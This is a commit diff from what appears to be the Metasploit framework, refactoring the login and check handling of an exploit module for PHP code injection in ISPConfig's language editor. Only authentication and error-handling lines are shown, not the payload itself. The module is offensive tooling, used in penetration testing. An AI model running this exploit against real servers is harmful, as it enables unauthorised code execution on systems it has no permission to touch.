Skip to content

Commit 03e9437

Browse files
committed
resolved: changes updated methods
1 parent 20134b5 commit 03e9437

File tree

1 file changed

+4
-8
lines changed

1 file changed

+4
-8
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 4 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -73,9 +73,9 @@ def initialize(info = {})
7373

7474
def check
7575
print_status('Checking if the target is ISPConfig...')
76+
return CheckCode::Unknown('Failed to login') unless authenticate
7677
# Always try to log in and parse version, since credentials are required
7778
# cookie_jar.clear (handled in exploit)
78-
return CheckCode::Safe unless authenticate
7979
# Try to access the dashboard or settings page
8080
settings_res = send_request_cgi({
8181
'method' => 'GET',
@@ -111,16 +111,14 @@ def authenticate
111111
},
112112
'keep_cookies' => true
113113
})
114-
fail_with(Failure::NoAccess, 'Login request failed') unless res
114+
return false unless res
115115
if res&.code == 302
116116
res = send_request_cgi({
117117
'method' => 'GET',
118118
'uri' => normalize_uri(target_uri.path, 'login/',res&.headers.fetch('Location',nil))
119119
})
120120
end
121-
if res.body.match(/Username or Password wrong/i)
122-
fail_with(Failure::NoAccess, 'Login failed: Invalid credentials')
123-
end
121+
return false if res.body.match(/Username or Password wrong/i)
124122
if res.headers.fetch('Location',nil)&.include?('admin') ||
125123
res.body.downcase.include?('dashboard')
126124
print_good('Login successful!')
@@ -250,9 +248,7 @@ def inject_payload
250248

251249
def exploit
252250
cookie_jar.clear
253-
unless authenticate
254-
fail_with(Failure::NoAccess, 'Login failed')
255-
end
251+
fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate
256252

257253
# Check if language editor permissions are enabled
258254
unless check_langedit_permission

0 commit comments

Comments
 (0)